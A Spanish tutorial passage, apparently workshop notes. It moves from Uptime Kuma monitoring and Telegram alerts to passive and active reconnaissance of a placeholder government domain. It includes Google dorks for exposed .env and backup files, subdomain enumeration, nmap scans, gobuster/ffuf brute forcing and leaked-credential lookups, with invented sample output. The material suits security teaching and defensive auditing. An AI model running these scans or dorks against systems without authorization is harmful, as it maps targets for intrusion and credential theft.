 Códigos de estado aceptados (Accepted Status Codes). Permiten especificar qué códigos de respuesta HTTP se consideran una respuesta exitosa. Por ejemplo, en un monitor HTTP, el código 200 OK indica éxito, pero un código 301 (redirección) o 404 (no encontrado) se consideraría un error. Puedes personalizar esta lista para que Uptime Kuma no envíe una alerta si recibe un código de estado específico. 

 Grupo de Monitoreo  (Monitor Group). Es una forma de organizar tus monitores por categorías. Puedes agrupar servicios relacionados, como todos los monitores de un proyecto específico o todos los servicios de una misma ubicación, para una mejor gestión visual y para activar o desactivar notificaciones para todo un grupo a la vez. 

 

 Ejemplo 2. Monitor DNS. 

 

 

 Identificación de parámetros importantes: 

 

 Nombre del host (Hostname). Es el nombre de dominio que deseas monitorear. Uptime Kuma intentará resolver este nombre a través del servidor DNS que le especifiques para asegurarse de que el registro exista y sea accesible. 

 Servidor de resolución (Resolver Server).  Dirección IP del servidor DNS que Uptime Kuma utilizará para realizar la consulta. Puedes usar el servidor DNS de tu proveedor de Internet, un servidor público como el de Google (8.8.8.8) o Cloudflare (1.1.1.1), o un servidor DNS privado que estés monitoreando. 

 Puerto (Port). Es el puerto de red que Uptime Kuma usará para conectarse al servidor de resolución. El puerto estándar para las consultas DNS es el "53". A menos que tu servidor DNS use un puerto no estándar, este valor debe ser "53". 

 Tipo de registro (Record Type). Especifica el tipo de registro DNS que Uptime Kuma debe buscar. Los más comunes son:

 

 A: Para la dirección IPv4 de un host. 

 AAAA: Para la dirección IPv6 de un host. 

 CNAME: Para un alias de un nombre de host. 

 MX: Para servidores de correo. 

 TXT: Registros de texto, a menudo usados para verificar la propiedad del dominio o para configuraciones de seguridad. 

 

 

 Condiciones (Conditions). Reglas que definen lo que se considera una respuesta exitosa. Uptime Kuma te permite establecer condiciones para asegurar que la resolución del nombre de host no solo funcione, sino que también devuelva el valor esperado. Puedes agregar condiciones para:

 

 Comparación de valor: Contiene o No contiene un valor específico. 

 Comparación de IP: Es igual a o No es igual a una dirección IP esperada. 

 

 

 Intervalo de latido (Heartbeat Interval). Es el tiempo, en segundos, entre cada verificación de estado. Por ejemplo, si lo estableces en 600 segundos, Uptime Kuma intentará resolver el nombre de host cada 10 minutos para asegurarse de que el registro DNS esté disponible y sea correcto. 

 

 Ejemplo 3. Grupo de monitores. 

 Una vez que tengas tus primeros monitores configurados, puedes organizarlos en grupos para estructurar la Uptime Kuma según la organización interna de la institución. Los parámetros de configuración para los grupos son similares a los de los monitores individuales: 

 

 Una vez creado un grupo, puedes asignar un monitor a él. Simplemente, edita el monitor que deseas y selecciona el grupo correspondiente en el campo "Grupo de monitoreo" 

 

 4. Configurar notificaciones por Telegram. 

 4.1. Crear el bot de Telegram 

 Abrir Telegram en la versión web, y buscar el usuario @BotFather. Inicia una conversación con el comando /start. 

 

 Usa el siguiente comando para crear un nuevo bot para este caso específico. 

 /newbot 

 BotFather solicitara los siguientes datos: 

 

 Nombre del bot : Ej. KumaBot  

 Username del bot. Debe terminar en "bot", por ejemplo: kuma_taller_bot. 

 

 BotFather te enviará un token de la API, similar a: 1234567890:ABC-DEF1234ghIkl... 

 

 Para fines prácticos de monitoreo, se utilizará la opción de notificación a un grupo de Telegram. De esta manera, más de un usuario podrá recibir las alertas en caso de caída de servicios. Sigue estos pasos: 

 Crear un grupo en Telegram y agregar al nuevo bot. Busca el bot por el nombre asignado, en este caso:  @kuma_taller_bot . 

 

 Enviar un mensaje de prueba al grupo. 

 Verificar el ID de grupo en el navegador. 

 

 

 4.2. Integración con Uptime Kuma 

 Accede al panel de Uptime Kuma en el servidor desplegado: https://localhost:3001 o el dominio configurado 

 

 En el menú izquierdo, ve a Configuración → Notificaciones. 

 Haz clic en “Agregar una nueva notificación”. 

 Selecciona Telegram en el tipo de servicio. 

 

 Completa los campos solicitados: 

 

 Bot Token: Token obtenido de BotFather. 

 Chat ID: el número obtenido del enlace de grupo en telegram web. 

 

 Presiona “Probar” para enviar un mensaje de prueba. 

 

 

   

 Verifica que el mensaje haya sido enviado correctamente al grupo, y presiona Guardar. 

 

 Con la integración de notificaciones vía Telegram, se garantiza que múltiples miembros del equipo estén informados en tiempo real ante cualquier caída o interrupción del servicio. Esta capacidad mejora la velocidad de respuesta al contar con un canal de comunicación ágil y automatizado.

Reconocimiento activo y pasivo de recursos
Reconocimiento pasivo. 

 Es la obtención de información pública sin interactuar directamente con los servidores objetivo (sin enviar paquetes ni autenticarse). Útil para mapear superficie de ataque sin dejar rastro. 

 Herramientas utilizadas: 

 

 Google Dorks. Consultas avanzadas a motores de búsqueda para localizar páginas, archivos y configuraciones expuestas. 

 Shodan / Censys / FOFA. Motores de búsqueda de Internet que indexan dispositivos y servicios expuestos (banners, puertos, certificados). 

 Amass / Sublist3r . Descubrimiento de subdominios mediante fuentes públicas, certificados y técnicas OSINT. 

 DNSdumpster: Mapeo DNS público, registros y hosts visibles desde fuentes públicas. 

 crt.sh: base pública de certificados TLS/SSL; útil para encontrar subdominios públicos vía registros de certificados. 

 

 Google Dorks. 

 Filtra resultados de Google para encontrar páginas, ficheros o directorios específicos, por ejemplo: 

 

 site:dominio.gob.bo intitle:"login" => Busca páginas dentro del dominio que contienen "login" en el título. 

 site:dominio.gob.bo filetype:env OR filetype:sql OR filetype:bak => Busca archivos con extensiones típicas de backups o configuración. 

 site:dominio.gob.bo "index of" "backup" => Detecta índices de directorios que contengan la palabra backup. 

 site:dominio.gob.bo inurl:admin OR inurl:dashboard => Encuentra URLs con “admin” o “dashboard” en la ruta. 

 

 Ejemplo de salida: 

 

 Resultado 1: [https://intranet.dominio.gob.bo/admin/login](https://intranet.dominio.gob.bo/admin/login) — "Página de acceso administración" 

 Resultado 2: [https://www.dominio.gob.bo/.env.bak](https://www.dominio.gob.bo/.env.bak) — "Archivo .env (posible fuga de credenciales)" 

 Resultado 3: [https://archivos.dominio.gob.bo/index](https://archivos.dominio.gob.bo/index) of/backup/ — "Índice público con backups" 

 

 Shodan / Censys / FOFA 

 Permiten consultar por IP, dominio o servicio para ver los banners, puertos y software expuesto, por ejemplo: 

 Consulta: dispositivo con ip 200.12.34.56, resumen de salida: 

 

 Host: 200.12.34.56 

 Puertos abiertos: 22 (OpenSSH 7.6p1), 80 (nginx 1.14.0), 443 (nginx + certificado) 

 Banner: "Apache/2.4.29 (Ubuntu)" 

 Geolocalización: Bolivia (país de origen según IP) 

 

 Sublist3r. 

 Permite la enumeración de subdominios mediante consultas a múltiples fuentes públicas. 

 python3 sublist3r.py -d dominio.gob.bo -o subdoms.txt 

 Salida en archivo subdoms.txt: 

 cat subdoms.txt:

portal.dominio.gob.bo

mail.dominio.gob.bo

sri.dominio.gob.bo

dev.dominio.gob.bo 

 Amass (modo pasivo) Agrega resultados de múltiples fuentes (crt.sh, ASN, servicios públicos) para hallar subdominios. 

 amass enum -passive -d dominio.gob.bo -o amass.txt 

 Salida en archivo amass.txt. 

 cat amass.txt, ejemplo

portal.dominio.gob.bo

api.dominio.gob.bo

backup.dominio.gob.bo 

 Uso de crt.sh 

 Busca certificados emitidos que incluyan subdominios del dominio objetivo. 

 URL de ejemplo: https://crt.sh/?q=%25.dominio.gob.bo 

 Resumen de la salida: 

 Certificado emitido: *.dominio.gob.bo — emitido 2025-03-12 — CN: api.dominio.gob.bo 

 DNSdumpster 

 Devuelve un mapa DNS público (registros A, MX, NS, subdominios detectados). Resumen de la salida: 

 Registros A:

portal.dominio.gob.bo -> 200.12.34.10

mail.dominio.gob.bo -> 200.12.34.20

Registros MX:

mx1.dominio.gob.bo -> 200.12.34.30 

 Una vez realizado el reconocimiento pasivo es recomendable: 

 

 Consolidar resultados en ficheros (subdoms.txt, amass.txt, crt_domains.txt). 

 Correlacionar IPs con ASN y whois para identificar infraestructura. 

 Registrar fechas de captura y fuentes (para trazabilidad). 

 

 Reconocimiento activo. 

 Es la interacción directa con el objetivo (escanear puertos, enumerar directorios, consultas DNS directas). Dejará registros en el objetivo; se debe realizar solo con autorización. 

 Herramientas utilizadas: 

 

 Nmap: escaneo de puertos y fingerprinting de servicios/sistema operativo. 

 dig / host: consultas DNS directas para obtener registros A, MX, TXT, etc. 

 gobuster / ffuf: fuerza bruta de directorios/archivos web (enumeración de rutas). 

 curl: realizar peticiones HTTP(S) y extraer cabeceras, cuerpos y respuestas. 

 

 Nmap para puertos comunes. 

 Escanea los puertos más comunes y detecta versiones de servicios. 

 nmap -sT -sV --top-ports 100 -T2 dominio_o_ip 

 Explicación breve de flags: 

 

 -sT : TCP connect scan (no requiere privilegios root). 

 -sV : detección de versión del servicio. 

 --top-ports 100 : escanear los 100 puertos más comunes. 

 -T2 : velocidad de escaneo conservadora. 

 

 Ejemplo resumen de salida: 

 Nmap scan report for dominio_o_ip (200.12.34.10)

Host is up (0.023s latency).

PORT STATE SERVICE  VERSION

22/tcp  open  sshOpenSSH 7.6p1 Ubuntu

80/tcp  open  http  nginx 1.14.0

443/tcp open  https nginx 1.14.0

Service Info: OS: Linux 

 Nmap para escaneo completo y OS detection. 

 Realiza un escaneo más agresivo y detección de SO (requiere privilegios). 

 sudo nmap -sS -p- -sV -O -T3 dominio_o_ip 

 Explicación breve de flags: 

 

 -sS : SYN scan (stealthy, requiere root). 

 -p- : escanea todos los puertos (1-65535). 

 -O : detección de sistema operativo. 

 -T3 : velocidad moderada. 

 

 Ejemplo resumen de salida: 

 PORTSTATE SERVICE VERSION

21/tcp open  ftp  vsftpd 3.0.3

22/tcp open  ssh  OpenSSH 7.6p1

80/tcp open  http nginx 1.14.0

443/tcpopen  httpsnginx 1.14.0

OS details: Linux 4.x 

 DNS (dig / host) . 

 Realiza consultas directas al servidor DNS para obtener registros. 

 dig dominio.gob.bo  => Consulta A/AAAA/other por defecto; muestra servidores autoritativos y TTL. 

 Salida ejemplo (dig):

 ; <<>> DiG 9.16.1 <<>> dominio.gob.bo

 ;; ANSWER SECTION:

 dominio.gob.bo.  3600  IN  A  200.12.34.10

 ;; AUTHORITY SECTION:

 dominio.gob.bo.  172800 IN NS ns1.dominio.gob.bo.

 ;; ADDITIONAL SECTION:

 ns1.dominio.gob.bo. 172800 IN A 200.12.34.2 

 host subdominio.dominio.gob.bo   => Respuesta simple: subdominio.dominio.gob.bo has address 200.12.34.20 

 Gobuster. 

 Realiza la enumeración de directorios y archivos web mediante fuerza bruta con wordlists. 

 gobuster dir -u [https://dominio.gob.bo](https://dominio.gob.bo) -w wordlist.txt 

 Explicación: 

 

 dir : modo directorios 

 -u : URL objetivo 

 -w : palabra lista para probar rutas 

 

 Ejemplo de salida: 

 /admin (Status: 200)

/backup (Status: 403)

/config.php (Status: 200)

/robots.txt (Status: 200) 

 Uso de ffuf . 

 Es un fuzzer web rápido, útil para encontrar endpoints ocultos o parametrizados. 

 ffuf -u [https://dominio.gob.bo/FUZZ](https://dominio.gob.bo/FUZZ) -w wordlist.txt 

 Salida ejemplo: 

 Found: /secret (Status: 200, Size: 1534)

Found: /old-admin (Status: 200, Size: 4210) 

 Uso de curl. 

 Tiene el objetivo de solicitar recursos HTTP(S), ver cabeceras y contenido; útil para comprobar respuestas, cookies y cabeceras de seguridad. 

 curl -I [https://dominio.gob.bo](https://dominio.gob.bo)  => Obtiene solo cabeceras (HEAD). 

 Ejemplo de salida (cabeceras): 

   HTTP/1.1 200 OK

 Server: nginx/1.14.0

 Content-Type: text/html; charset=UTF-8

 Strict-Transport-Security: max-age=31536000; includeSubDomains 

 curl -L -s -D - [https://dominio.gob.bo/login](https://dominio.gob.bo/login) -o /dev/null => Sigue redirecciones (-L), imprime cabeceras (-D -), suprime el cuerpo (-o /dev/null). 

 Se recomienda: 

 

 Respetar límites de velocidad y ventanas de tiempo para evitar DoS involuntario (-T2/-T3 en nmap). 

 Realizar escaneos iniciales con perfiles conservadores y aumentar detalle solo con autorización. 

 Usar IPs y ranges detectados para correlacionar servicios y subdominios. 

 

 Divulgación de Credenciales 

 Identificación de credenciales expuestas públicamente. 

 Herramientas 

 

 Have I Been Pwned 

 DeHashed 

 Leak-Lookup 

 

 Enlaces 

 

 https://haveibeenpwned.com/   

 

 

 

 https://app.dehashed.com/login 

 

 

 

 https://leak-lookup.com/ 

 

 Procedimiento 

 

 Buscar correos filtrados. 

 Registrar hallazgos.